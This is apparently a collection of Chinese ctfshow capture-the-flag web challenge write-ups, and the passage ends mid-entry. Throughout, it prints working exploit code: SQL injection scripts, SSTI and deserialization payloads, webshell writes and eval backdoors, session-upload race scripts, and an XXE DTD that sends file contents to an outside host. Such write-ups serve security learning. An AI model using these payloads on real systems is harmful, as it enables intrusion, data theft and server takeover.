d%27%5f%27%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%5f%5f%3d%24%5f%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%5f%5f%5f%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%3d%24%24%5f%5f%5f%5f%3b%24%5f%5f%5f%28%24%5f%5b%5f%5d%29%3b%2f%2f

POST要执行的命令就行,注意code要url编码,因为由于php字符串解析特性会把+解析成空格,题目环境是php5.6如果是7.x还可以:

1
2
('``````'|'%13%19%13%14%05%0D')('``'|`%09%04`);
// system('id');

构造system只需

1
2
<?php
echo urlencode('system'^'``````');

除此之外我们还可以利用$_变量来构造字符,脚本

1
2
3
4
5
6
7
8
9
s=['a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^']
word='system'
code=''
for j in word:
if j in s:
code+='$_['+str(s.index(j))+'].'
else:
code+="'"+j+"'"+"."
print(code)

payload:

1
?code=1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$___=$_[2].$_[0].$_[19].' '.'/'.$_[5].$_[13].$_[0].$_[6];$__($___);//

本题预期解是先读hint

1
?code=${$_[7].$_[8].$_[12].$_[19]}

base64解码得到

1
2
3
<?php
$a="/phpjiami.zip\n/hint.php";
?>

然后把phpjiami.zip下载下来,打开发现1.php混淆加密的,并且提示是经过Www.PHPJiaMi.Com网站加密的,解密脚本,也可以用:https://github.com/PikuYoake/phpjiami_decode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php

function decrypt($data, $key)
{
$data_1 = '';
for ($i = 0; $i < strlen($data); $i++) {
$ch = ord($data[$i]);
if ($ch < 245) {
if ($ch > 136) {
$data_1 .= chr($ch / 2);
} else {
$data_1 .= $data[$i];
}
}
}
$data_1 = base64_decode($data_1);
$key = md5($key);
$j = $ctrmax = 32;
$data_2 = '';
for ($i = 0; $i < strlen($data_1); $i++) {
if ($j <= 0) {
$j = $ctrmax;
}
$j--;
$data_2 .= $data_1[$i] ^ $key[$j];
}
return $data_2;
}

function find_data($code)
{
$code_end = strrpos($code, '?>');
if (!$code_end) {
return "";
}
$data_start = $code_end + 2;
$data = substr($code, $data_start, -46);
return $data;
}

function find_key($code)
{
// $v1 = $v2('bWQ1');
// $key1 = $v1('??????');
$pos1 = strpos($code, "('" . preg_quote(base64_encode('md5')) . "');");
$pos2 = strrpos(substr($code, 0, $pos1), '$');
$pos3 = strrpos(substr($code, 0, $pos2), '$');
$var_name = substr($code, $pos3, $pos2 - $pos3 - 1);
$pos4 = strpos($code, $var_name, $pos1);
$pos5 = strpos($code, "('", $pos4);
$pos6 = strpos($code, "')", $pos4);
$key = substr($code, $pos5 + 2, $pos6 - $pos5 - 2);
return $key;
}

$input_file = $argv[1];
$output_file = $argv[1] . '.decrypted.php';

$code = file_get_contents($input_file);

$data = find_data($code);
if (!$code) {
echo '未找到加密数据', PHP_EOL;
exit;
}

$key = find_key($code);
if (!$key) {
echo '未找到秘钥', PHP_EOL;
exit;
}

$decrypted = decrypt($data, $key);
$uncompressed = gzuncompress($decrypted);
// 由于可以不勾选代码压缩的选项,所以这里判断一下是否解压成功,解压失败就是没压缩
if ($uncompressed) {
$decrypted = str_rot13($uncompressed);
} else {
$decrypted = str_rot13($decrypted);
}
file_put_contents($output_file, $decrypted);
echo '解密后文件已写入到 ', $output_file, PHP_EOL;

解密后得到:

1
2
3
4
5
<?php
$ch = explode(".","hello.ass.world.er.rt.e.saucerman");
$c = $ch[1].$ch[5].$ch[4];
@$c($_POST[7-1]);
?>

蚁剑连

WEB_WUSTCTF朴实无华Revenge_Revenge_36D杯

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
 <?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
$len=strlen($str);
$l=1;
$k=intval($len/2)+1;
for($j=0;$j<$k;$j++)
if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
$l=0;
break;
}
if ($l==1) return true;
else return false;
}

//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
$numPositve = intval($num);
$numReverse = intval(strrev($num));
if (preg_match('/[^0-9.]/', $num)) {
die("非洲欢迎你1");
} else {
if ( (preg_match_all("/\./", $num) > 1) || (preg_match_all("/\-/", $num) > 1) || (preg_match_all("/\-/", $num)==1 && !preg_match('/^[-]/', $num))) {
die("没有这样的数");
}
}
if ($num != $numPositve) {
die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
}

if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
die("非洲欢迎你2");
}
if( $numPositve === $numReverse && !isPalindrome($num) ){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5(md5($md5)))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
if (preg_match("/['\*\"[?]/", $get_flag)) {
die('非预期修复*2');
}
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

去非洲吧

可以看到:

1
2
3
 <?php
var_dump(99999999999999999.99999999999999999==99999999999999999);
// true

构造payload:

1
2
?num=0.
?num=99999999999999999.999999999999999990

接着一样,payload:

1
?num=99999999999999999.999999999999999990&md5=0e1138100474&get_flag=ca\t%09`ls`

payload:

1
?num=99999999999999999.999999999999999990&md5=0e1138100474&get_flag=ca\t%09`ls`

WEB你没见过的注入36D杯

提示访问robots.txt

1
2
User-agent: *
Disallow: /pwdreset.php

成功重置admin的密码,登陆之后发现是个上传,接着发现上传所有文件都变成.zip了,并且有文件属性相关信息

发现和file命令输出一样

接着就是EXIF头注入了,可以使用exiftool

1
exiftool -overwrite_original -comment="test" 1.jpg

再上传发现

试想有可能存到数据库里,猜后台sql:

1
insert into column(name, type, lineFeed) values ($filename, $filetype, $filelinefeed);

尝试:

1
exiftool -overwrite_original -comment="test\"');select sleep(10);" 1.jpg

发现成功延时了,直接写一句话

1
exiftool -overwrite_original -comment="test\"');select 0x3c3f706870206576616c28245f504f53545b315d293b into outfile '/var/www/html/1.php';" 1.jpg

发现部分内容没写上 估计有长度限制,用短标签缩短长度

1
exiftool -overwrite_original -comment="test\"');select 0x3c3f3d60245f504f53545b315d603b into outfile '/var/www/html/1.php';" 1.jpg

hex部分是:

1
<?=`$_POST[1]`;

web1签到内部赛

查看源码发现register.php,存在sql注入,ban了:

1
and | sleep 空格 & if ascii

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests

url="http://8d1e1a44-371c-4be6-ae98-326ebebbff39.chall.ctf.show/register.php"
flag=''

for i in range(1,500):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
p1="1@1.com'/**/or/**/(case/**/when/**/ord(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{},1))>{}/**/then/**/benchmark(5000000,md5(0x41))/**/else/**/1/**/end)/**/or/**/'".format(i,mid)
p2="1@1.com'/**/or/**/(case/**/when/**/ord(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{},1))={}/**/then/**/benchmark(5000000,md5(0x41))/**/else/**/1/**/end)/**/or/**/'".format(i,mid)
data1={'e':p1,'u':'test','p':'1234'}
data2={'e':p2,'u':'test','p':'1234'}
try:
print(i,mid)
r1=requests.post(url,data=data2,timeout=3)
except requests.exceptions.ReadTimeout as e:
flag+=chr(mid)
print(flag)
break
except Exception as e:
pass
else:
try:
r2=requests.post(url,data=data1,timeout=3)
except requests.exceptions.ReadTimeout as e:
low=mid+1
except Exception as e:
pass
else:
top=mid-1

if flag==f1:
break

# web
#

可以注出数据库,但是好像不能查information_schema 后来才知道还有源码泄露www.zip

register.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function check($arr){
if(preg_match("/load|and|\||\&| |\\\|sleep|ascii|if/i",$arr)){
echo "<script>alert('bad hacker!')</script>";
die();
}
else{
return true;
}
}

include('db.php');
if(isset($_POST['e'])&&isset($_POST['u'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$u=$_POST['u'];
$p=$_POST['p'];
$sql =
"insert into test1
set email = '$e',
username = '$u',
password = '$p'
";
if(check($e)&&check($u)&&check($p)){
if(mysqli_query($con, $sql))
{
header('location:login.php');
}
}
}

login.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
function check($arr){
if(preg_match("/load|and|or|\||\&|select|union|\'|=| |\\\|,|sleep|ascii/i",$arr)){
echo "<script>alert('bad hacker!')</script>";
die();
}
else{
return true;
}
}
session_start();
include('db.php');
if(isset($_POST['e'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$p=$_POST['p'];
$sql ="select username from test1 where email='$e' and password='$p'";
if(check($e)&&check($p)){
$result=mysqli_query($con,$sql);
$row = mysqli_fetch_assoc($result);
if($row){
$_SESSION['u']=$row['username'];
header('location:user.php');
}
else {
echo "<script>alert('Wrong username or password')</script>";
}
}
}

user.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include('db.php');
session_start();
error_reporting(0);
if($_SESSION['u']){
$username=$_SESSION['u'];

if (is_numeric($username))
{
if(strlen($username)>10) {
$username=substr($username,0,10);
}
echo "Hello $username,there's nothing here but dog food!";
}
else{
echo "<script>alert('The username can only be a number.How did you get here?go out!!!');location.href='login.php';</script>";
}
}
else{
echo "<script>alert('Login first!');location.href='login.php';</script>";
}
?>

web03出题人不想跟你说话.jpg内部赛

看到刀上有cai字样,盲猜是一句话密码,蚁剑连上,有两个hint:

1
2
3
hint1: whoami && ls -l /

hint2:如你们所说,提权,看看服务器有什么服务

ps -aux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root 1 0.0 0.0 17960 636 ? Ss 12:27 0:00 /bin/sh /usr/local/bin/docker-php-entrypoint
root 11 0.0 0.0 23656 592 ? Ss 12:27 0:00 /usr/sbin/cron
root 12 0.0 0.0 4384 4 ? S 12:27 0:00 tail -F /dev/null
root 13 0.0 0.0 133628 2036 ? Ss 12:27 0:00 php-fpm: master process (/etc/php5/fpm/php-fpm.conf)
www-data 14 0.0 0.0 134104 6360 ? S 12:27 0:00 php-fpm: pool www
www-data 15 0.0 0.0 134120 5132 ? S 12:27 0:00 php-fpm: pool www
root 16 0.0 0.0 85888 1084 ? Ss 12:27 0:00 nginx: master process nginx
www-data 17 0.0 0.0 86524 1852 ? S 12:27 0:00 nginx: worker process
www-data 18 0.0 0.0 86184 1364 ? S 12:27 0:00 nginx: worker process
www-data 19 0.0 0.0 86528 2140 ? S 12:27 0:00 nginx: worker process
www-data 20 0.0 0.0 86184 1328 ? S 12:27 0:00 nginx: worker process
www-data 143 0.0 0.0 133628 7436 ? S 12:40 0:00 php-fpm: pool www
www-data 159 0.0 0.0 17952 2856 ? S 12:42 0:00 sh -c /bin/sh -c "cd "/";ps -aux;echo [S];pwd;echo [E]" 2>&1
www-data 160 0.0 0.0 17956 2848 ? S 12:42 0:00 /bin/sh -c cd /;ps -aux;echo [S];pwd;echo [E]
www-data 161 0.0 0.0 15568 2116 ? R 12:42 0:00 ps -aux

发现有个敏感文件/usr/local/bin/docker-php-entrypoint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/sh

echo ${FLAG} > /flag

chown -R root:root /flag
chmod 700 /flag

unset FLAG

php5-fpm &

nginx &

/usr/sbin/cron

tail -F /dev/null

并且nginx的某个进程是以root运行的,搜了下发现CVE-2016-1247

bash反弹shell,将poc传到/tmp目录下

1
https://www.seebug.org/vuldb/ssvid-92538

如果以下报错

1
sed -i "s/\r//" poc

等会就好了

web2蓝瘦内部赛

查看源码有两个hint:

1
2
<!-- param: ctfshow -->
<!-- key: ican -->

猜测分别是参数,flask key的意思

伪造session

接着就可以传参数ssti,p神的payload直接可以打,flag在环境变量里

1
2
3
4
5
6
7
8
9
10
11
?ctfshow={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("env").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

web4一览无余_内部赛

直接给出源码:

1
2
3
<?php
highlight_file(__FILE__);
?>

这啥也没有啊,看了看网站容器是nginx,猜测是:https://moonback1314.gitee.io/2020/05/05/Vulhub%E4%B9%8Bphp/#CVE-2019-11043

试了试,果然是,不过执行命令时有时候会不成功,flag在网站目录

web5登陆就有flag_内部赛

貌似万能密码题,随便加个东西发现提示太长了,应该是长度限制,直接下面都行:

1
2
3
4
u='^''#&p=1
u='^0#&p=1
u='%260#&p=1
u='%261#&p=1

web6签退内部赛

源码:

1
<?php ($S = $_GET['S'])?eval("$$S"):highlight_file(__FILE__);

payload:

1
?S={system('cat ../../flag.txt')};

web2_观星

过滤了:

1
, ascii 空格 = like and

payload:

1
(case/**/when/**/ord(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/in/**/(0x77656231)/**/%26%26/**/table_name/**/in/**/(0x666c6167))/**/from/**/1/**/for/**/1))<100/**/then/**/1/**/else/**/0/**/end)#

有几个点需要注意:

  • and过滤用&&需要url编码
  • 等于号过滤用in,要加括号,还可以用同时不满足大于小于两个条件
  • 单引号过滤用十六进制
  • ,过滤用from...for

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests

url="http://196a9ac5-2082-4530-8ae1-6a72f276e86b.chall.ctf.show/index.php?id="
flag=''
for i in range(1,500):
f1=flag
top=127
low=33
f=1
midflag=1
mid=0
while f and midflag!=mid:
f=0
midflag=mid
mid=(top+low)//2
p1="(case/**/when/**/ord(substr((select/**/flag/**/from/**/flag)/**/from/**/{}/**/for/**/1))<{}/**/then/**/1/**/else/**/0/**/end)#".format(str(i),str(mid))
p2="(case/**/when/**/ord(substr((select/**/flag/**/from/**/flag)/**/from/**/{}/**/for/**/1))>{}/**/then/**/1/**/else/**/0/**/end)#".format(str(i),str(mid))
try:
print(i,mid)
r1=requests.get(url+p1)
if 'pitch-and-toss,' in r1.text:
top=mid-1
f=1
else:
low=mid+1
r2=requests.get(url+p2)
if 'pitch-and-toss,' in r2.text:
low=mid+1
f=1
else:
top=mid-1
except Exception as e:
pass
if f==0:
flag+=chr(mid)
print(flag)
if flag==f1:
break

easyshell_36D练手赛

明显hash长度扩展攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import hashpumpy
import urllib
import requests

url='http://7270896d-ae34-4a8f-893e-287f6e5a21cc.chall.ctf.show/?'
hsh='fc77c20ed2841d8162335eaebb2f3c09'
s1='''1'''
s2='''admin'''
for i in range(300):
m=hashpumpy.hashpump(hsh,s1,s2,i)
#print i
name=urllib.quote(urllib.unquote(m[1]))
uri=url+'name='+name+"&pass="+m[0]
#print uri
r=requests.get(uri)
# print r.text
if "error" not in r.text:
print r.text;
break

得到flflflflag.php,访问会跳转,抓包在源码里发现:

1
include($_GET["file"])

尝试包含session上传进度getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import threading

url='http://7270896d-ae34-4a8f-893e-287f6e5a21cc.chall.ctf.show/flflflflag.php'
r=requests.session()
headers={
"Cookie":'PHPSESSID=dddd'
}
def POST():
while True:
files={
"upload":'' #上传无效的空文件
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":'<?php file_put_contents("/tmp/2",\'<?php @eval($_POST[1]);?>\');echo "moonback";?>'
}
r.post(url,files=files,headers=headers,data=data)
# print('[+]POST')

def READ():
while True:
t=r.get(url+"?file=/tmp/sess_dddd")
if 'moonback' in t.text:
# print('[+]retry')
print('success')
else:
pass
for i in range(50):
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()

蚁剑连上bypass disable_function,flag在环境变量里,这题就是NPUCTF原题

贴一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
echo '<script language="javascript" type="text/javascript">
window.location.href="flflflflag.php";
</script>
';
}else{
setcookie("Hash",md5($secret.$name),time()+3600000);
echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>

CTFshow web1

game-gyctf web2

扫目录发现www.zip,主要代码都在lib.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}

}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

先看下反序列化链:

1
UpdateHelper::__destruct() ==> User::__toString() ==> Info::__call()  ==> dbCtrl::login()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class User
{
public $id;
public $age;
public $nickname;
public function __construct(){
$this->nickname = new Info();
$this->age = 'select password,id from user where username=?';
}

}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct(){
$this->CtrlCase = new dbCtrl;

}

}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct(){
$this->sql = new User();
}
}
class dbCtrl
{
public $name='admin';
public $token='admin';

}

$a = new UpdateHelper();
$x = serialize($a);
$cioier = '";s:1:"a";'.$x."}";
$len = strlen($cioier);
$cioier = str_repeat('union',$len).$cioier;
echo $cioier;

序列化输出:

1
O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:5:"token";s:5:"admin";}}}}

我们就可以任意sql执行,由于有限制,因此我们可以交换id password的顺序以达到获得password的目的

1
select password,id from user where username=?

在update的时候序列化和反序列化的对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct(){
$this->age='test';
$this->nickname='test';
}
}
$a = new Info();
echo serialize($a);
// O:4:"Info":3:{s:3:"age";s:4:"test";s:8:"nickname";s:4:"test";s:8:"CtrlCase";N;}

需要添加的字符串

1
";s:1:"a";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:5:"token";s:5:"admin";}}}}}

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class User
{
public $id;
public $age;
public $nickname;
public function __construct(){
$this->nickname = new Info();
$this->age = 'select password,id from user where username=?';
}

}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct(){
$this->CtrlCase = new dbCtrl;

}

}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct(){
$this->sql = new User();
}
}
class dbCtrl
{
public $name='admin';
public $token='admin';

}

$a = new UpdateHelper();
$x = serialize($a);
$cioier = '";s:1:"a";'.$x."}";
$len = strlen($cioier);
$cioier = str_repeat('union',$len).$cioier;
echo $cioier;

image-20201009195539858

登陆得到flag

web1观字WEB_AK赛

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
$url = $_GET['url'];
$protocol = substr($url, 0,7);
if($protocol!='http://'){
die('仅限http协议访问');
}
if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
die('仅限域名地址访问');
}
system('curl '.$url);
}

过滤了一大堆东西,直接中文句号绕过,payload:

1
?url=http://192。168。7。68/flag

web3观图WEB_AK赛

查看源码发现:

1
showImage.php?image=Z6Ilu83MIDw=

将image改成image[]=报错:

1
Warning: openssl_decrypt() expects parameter 1 to be string, array given in /var/www/html/showImage.php on line 8

直接访问showImage.php会有源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php

//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
$image=$_GET['image'];
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(file_exists($str)){
header('content-type:image/gif');
echo file_get_contents($str);
}
}else{
highlight_file(__FILE__);
}
?>

爆破key吧,脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$image = "Z6Ilu83MIDw=";
for($i=0;$i<100000;$i++){
$key = substr(md5('ctfshow'.$i),3,8);
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(strpos($str,'jpg')||strpos($str,'png')||strpos($str,'gif')){
echo 'key:'.$key;
echo "\nrand():".$i;
$a = openssl_encrypt("config.php","bf-ecb",$key);
echo "\nanser:".$a;
echo "\nfile:".$str;
break;
}
}

web4观心WEB_AK赛

js/common.js里看到api.php,占卜抓包发现

貌似是xxe,无回显的,猜测直接用file_get_contents得到xml文件的

服务端的xml:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://1.1.1.1/test.dtd">
%remote;%int;%send;
]>

test.dtd:

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://1.1.1.1:9001?p=%file;'>">

签到观己WEB_AK赛

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match('/php/i', $file)){
die('error');
}else{
include($file);
}

}else{
highlight_file(__FILE__);
}

?>

直接包含上传进度进度就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import threading
import sys

url='http://87938f25-72e4-4941-a5a5-c9bbdf65dbe6.chall.ctf.show/'
r=requests.session()
headers={
"Cookie":'PHPSESSID=mb'
}
def POST():
files={
"upload":'' #上传无效的空文件
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":'<?php echo "moonback";file_put_contents("/tmp/mb", base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs="));?>' #恶意进度信息,readfile将直接输出文件内容
}
r.post(url,files=files,headers=headers,data=data)

def READ():
# event.wait()
while True:
POST()
t=r.get("http://87938f25-72e4-4941-a5a5-c9bbdf65dbe6.chall.ctf.show/?file=/tmp/sess_mb")
if 'moonback' in t.text:
print('[+] success')
break

for i in range(50):
threading.Thread(target=READ,args=()).start()

或者包含日志:

1
2
3
/etc/nginx/nginx.conf
/var/log/nginx/access.log
/var/log/nginx/error.log

先包含日志配置文件查看log文件位置,只需在user-agent中加入一句话就行

web入门

web11

提示域名也可以隐藏信息,立马想到了txt记录,直接nslookup

web12

提示页面中的信息是密码,发现有个手机号,密码刚好为这

1
admin:372619038

web13

查看源码发现document.pdf,下载下来找到后台为

1
2
/system1103/login.php
默认账号密码:admin:admin1103

web14

查看源码发现/editor/路径,访问查看源码发现是KindEditor,直接在文件空间找到flag的路径为

1
/nothinghere/fl000g.txt

web15

社工题,首页暴露的邮箱搜了下qq发现居住陕西西安,/admin成功通过密保问题重置密码

web16

提示探针,访问tz.php,在phpinfo中找到flag

web17

网络空间搜索引擎就行,zoomeye直接查

web18

查看源代码,发现js中有谐音

1
你赢了,去幺幺零点皮爱吃皮看看

访问110.php得到flag

web19

查看源码发现

1
2
